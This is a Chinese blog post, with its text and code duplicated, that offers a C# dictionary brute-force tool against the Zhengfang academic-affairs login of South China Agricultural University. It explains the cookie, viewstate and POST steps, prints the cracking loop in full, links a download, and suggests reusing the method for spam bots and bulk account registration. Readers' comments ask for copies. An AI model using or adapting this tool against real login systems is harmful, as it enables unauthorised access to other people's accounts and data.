Dec
16
华农大正方教务系统用户密码暴力破解器 (已经失效请勿联系作者)
本来是作为网络编程最后一个实验作业的,最终时间来不及,临时弄了个匿名邮件发送器提交了,计划就这样流产了。研究了一天一夜,总算把教务系统的数据包给弄清楚了。其实,这个破解器的原理还可以应用到论坛,博客之类的自动发帖机,还有QQ号码批量自动申请器,网站用户批量注册器之类。
以下是此软件的基本原理:
第一步是用GET方式,获取教务系统网站的第一个页面。这个页面的一个js会制造一个cookie或者叫sessionID吧,然后回发给访问者。此时,我们就用一个CookieContainer来存放这个cookie。别小看这个cookie,这里可是研究了我5个小时呀!以后每次的通信都得提交这个cookie的。
第二步,读取你输入的用户名,还有pwd.txt文件中的一个密码,然后用POST方式,把用户名密码,还有页面的一个viewstate和获取的那个cookie一起提交给教务系统的一个验证页面。
第三步,申请访问登录成功的页面,然后教务系统会返回一个页面给你。你就判断返回的页面是不是成功页面,如果不是,就重复第二步操作,如果是成功页面,那么证明提交的密码是正确的,弹出消息框报告正确。
很多时候,我们都觉得很多东西很难做,真正动手去做了,做出来了,就会发现,原来是很简单的。简单的道理没人告诉你,要自己亲自动手去做去获得。
核心源码如下:
/// <summary>
/// 破解执行函数
/// </summary>
public void Start()
{
CookieContainer cookieContainer = new CookieContainer();//存放第一次回发来的COOKIE用于以后提交
int flag = 0;//用于标识是否破解成功
string password="123456";//申明存放密码的变量
string userName = textBox2.Text.ToString();//定义用户名
try
{
//获取密码文件
StreamReader sr = new StreamReader("pwd.txt");
//开始逐个密码匹配暴力破解
while ((password =sr.ReadLine()) != null && flag == 0)
{
num = num + 1;//存放当前匹配到第几个密码
label5.Invoke(lableTC );//委托更新label,实现动态显示当前匹配到第几个密码
///////////////////////////////////////////////////////////////////////////////////
///////////////////第一次提交,获得了cookie用于以后提交用//////////////////////////
///////////////////////////////////////////////////////////////////////////////////
string URI = "http://第一次GET提交页面";//第一次GET提交页面
HttpWebRequest request = WebRequest.Create(URI) as HttpWebRequest;
request.Method = "GET";//设置提交方式
request.KeepAlive = true;
HttpWebResponse response = request.GetResponse() as HttpWebResponse;
System.IO.Stream responseStream = response.GetResponseStream();
System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.UTF8);
string srcString = reader.ReadToEnd();
responeStream.close();
///////////////////////////////////////////////////////////////////////////////////
///////////////////第二次POST提交,发送出用户名密码已经cookie和viewstate///////////
///////////////////////////////////////////////////////////////////////////////////
string viewState = "设置viewState";//设置viewState,好像viewState都是固定的,所以就直接写入,不用动态抓取了。
viewState = System.Web.HttpUtility.UrlEncode(viewState); // 将文本转换成 URL 编码字符串
RadioButtonList1 = System.Web.HttpUtility.UrlEncode(RadioButtonList1); // 将文本转换成 URL 编码字符串
string postString = "__VIEWSTATE=" + viewState + "&TextBox1=" + userName + "&TextBox2=" + password + "&RadioButtonList1=" + RadioButtonList1 + "&Button1=";// 要提交的字符串数据。
byte[] postData = Encoding.ASCII.GetBytes(postString);// 将提交的字符串数据转换成字节数组
request = WebRequest.Create("提交给哪个页面") as HttpWebRequest;// 设置提交的相关参数
request.CookieContainer = cookieContainer;
request.Method = "POST";// 设置提交方式为post
request.KeepAlive = true;
request.Accept = "application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*";
request.ContentType = "application/x-www-form-urlencoded";
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 602; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MAXTHON 2.0)";
request.ContentLength = postData.Length;
request.Referer = "上一次访问页面";
System.IO.Stream outputStream = request.GetRequestStream();
outputStream.Write(postData, 0, postData.Length);// 提交请求数据
outputStream.Close();//关闭流
////////////////////////////////////////////////////////////////////////////////////////////////////
////////获取回发页面内容,判断是否包含特征字符(因为登录成功后页面不同),如果包含就是密码正确啦/////
////////////////////////////////////////////////////////////////////////////////////////////////////
response = request.GetResponse() as HttpWebResponse;
responseStream = response.GetResponseStream();
reader = new System.IO.StreamReader(responseStream, Encoding.GetEncoding("GB2312"));
srcString = reader.ReadToEnd();
//这里判断是否包含特征字符
if (srcString.IndexOf("欢迎您") != -1)
{
flag = 1;//包含特征字符那么登录成功,破解成功标识变1.
MessageBox.Show(@"\(^o^)/成功啦"+"\r\n\r\n密码是:" + password);
num = 0;//当前密码个数变量清0
button1.Invoke(buttonClick);//破解按钮恢复可用状态
}
}
sr.Close();
//密码文件每个密码都试过了,还是不成功,报告失败信息
if (flag == 0)
{
MessageBox.Show("杯具了,没找到密码哦。。。\r\n请在密码字典pwd.txt里面\r\n输入更多可能的密码吧。");
num = 0;//当前密码个数变量清0
button1.Invoke(buttonClick);//按钮恢复
}
}
catch(Exception erro)
{
MessageBox.Show(erro.ToString());
num = 0;//当前密码个数变量清0
button1.Invoke(buttonClick);//破解按钮恢复可用状态
}
}
下载地址:
下载文件 (已下载 397 次)
(此软件仅用于学习交流,请勿频繁使用,否则后果自负!)
以下是此软件的基本原理:
第一步是用GET方式,获取教务系统网站的第一个页面。这个页面的一个js会制造一个cookie或者叫sessionID吧,然后回发给访问者。此时,我们就用一个CookieContainer来存放这个cookie。别小看这个cookie,这里可是研究了我5个小时呀!以后每次的通信都得提交这个cookie的。
第二步,读取你输入的用户名,还有pwd.txt文件中的一个密码,然后用POST方式,把用户名密码,还有页面的一个viewstate和获取的那个cookie一起提交给教务系统的一个验证页面。
第三步,申请访问登录成功的页面,然后教务系统会返回一个页面给你。你就判断返回的页面是不是成功页面,如果不是,就重复第二步操作,如果是成功页面,那么证明提交的密码是正确的,弹出消息框报告正确。
很多时候,我们都觉得很多东西很难做,真正动手去做了,做出来了,就会发现,原来是很简单的。简单的道理没人告诉你,要自己亲自动手去做去获得。
核心源码如下:
/// <summary>
/// 破解执行函数
/// </summary>
public void Start()
{
CookieContainer cookieContainer = new CookieContainer();//存放第一次回发来的COOKIE用于以后提交
int flag = 0;//用于标识是否破解成功
string password="123456";//申明存放密码的变量
string userName = textBox2.Text.ToString();//定义用户名
try
{
//获取密码文件
StreamReader sr = new StreamReader("pwd.txt");
//开始逐个密码匹配暴力破解
while ((password =sr.ReadLine()) != null && flag == 0)
{
num = num + 1;//存放当前匹配到第几个密码
label5.Invoke(lableTC );//委托更新label,实现动态显示当前匹配到第几个密码
///////////////////////////////////////////////////////////////////////////////////
///////////////////第一次提交,获得了cookie用于以后提交用//////////////////////////
///////////////////////////////////////////////////////////////////////////////////
string URI = "http://第一次GET提交页面";//第一次GET提交页面
HttpWebRequest request = WebRequest.Create(URI) as HttpWebRequest;
request.Method = "GET";//设置提交方式
request.KeepAlive = true;
HttpWebResponse response = request.GetResponse() as HttpWebResponse;
System.IO.Stream responseStream = response.GetResponseStream();
System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.UTF8);
string srcString = reader.ReadToEnd();
responeStream.close();
///////////////////////////////////////////////////////////////////////////////////
///////////////////第二次POST提交,发送出用户名密码已经cookie和viewstate///////////
///////////////////////////////////////////////////////////////////////////////////
string viewState = "设置viewState";//设置viewState,好像viewState都是固定的,所以就直接写入,不用动态抓取了。
viewState = System.Web.HttpUtility.UrlEncode(viewState); // 将文本转换成 URL 编码字符串
RadioButtonList1 = System.Web.HttpUtility.UrlEncode(RadioButtonList1); // 将文本转换成 URL 编码字符串
string postString = "__VIEWSTATE=" + viewState + "&TextBox1=" + userName + "&TextBox2=" + password + "&RadioButtonList1=" + RadioButtonList1 + "&Button1=";// 要提交的字符串数据。
byte[] postData = Encoding.ASCII.GetBytes(postString);// 将提交的字符串数据转换成字节数组
request = WebRequest.Create("提交给哪个页面") as HttpWebRequest;// 设置提交的相关参数
request.CookieContainer = cookieContainer;
request.Method = "POST";// 设置提交方式为post
request.KeepAlive = true;
request.Accept = "application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*";
request.ContentType = "application/x-www-form-urlencoded";
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 602; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MAXTHON 2.0)";
request.ContentLength = postData.Length;
request.Referer = "上一次访问页面";
System.IO.Stream outputStream = request.GetRequestStream();
outputStream.Write(postData, 0, postData.Length);// 提交请求数据
outputStream.Close();//关闭流
////////////////////////////////////////////////////////////////////////////////////////////////////
////////获取回发页面内容,判断是否包含特征字符(因为登录成功后页面不同),如果包含就是密码正确啦/////
////////////////////////////////////////////////////////////////////////////////////////////////////
response = request.GetResponse() as HttpWebResponse;
responseStream = response.GetResponseStream();
reader = new System.IO.StreamReader(responseStream, Encoding.GetEncoding("GB2312"));
srcString = reader.ReadToEnd();
//这里判断是否包含特征字符
if (srcString.IndexOf("欢迎您") != -1)
{
flag = 1;//包含特征字符那么登录成功,破解成功标识变1.
MessageBox.Show(@"\(^o^)/成功啦"+"\r\n\r\n密码是:" + password);
num = 0;//当前密码个数变量清0
button1.Invoke(buttonClick);//破解按钮恢复可用状态
}
}
sr.Close();
//密码文件每个密码都试过了,还是不成功,报告失败信息
if (flag == 0)
{
MessageBox.Show("杯具了,没找到密码哦。。。\r\n请在密码字典pwd.txt里面\r\n输入更多可能的密码吧。");
num = 0;//当前密码个数变量清0
button1.Invoke(buttonClick);//按钮恢复
}
}
catch(Exception erro)
{
MessageBox.Show(erro.ToString());
num = 0;//当前密码个数变量清0
button1.Invoke(buttonClick);//破解按钮恢复可用状态
}
}
下载地址:
下载文件 (已下载 397 次)(此软件仅用于学习交流,请勿频繁使用,否则后果自负!)
haha
2010/07/01 13:59
有用的话发我邮箱试试 跪谢了 邮箱523876921@qq.com
piikee 回复于 2010/07/02 10:47
... 你是华农的学生么?
牛盗
2010/07/14 12:36
给我一份 谢谢了
分页: 1/1
1
1

Windows XP任务栏图标修复工
U盘禁用小精灵
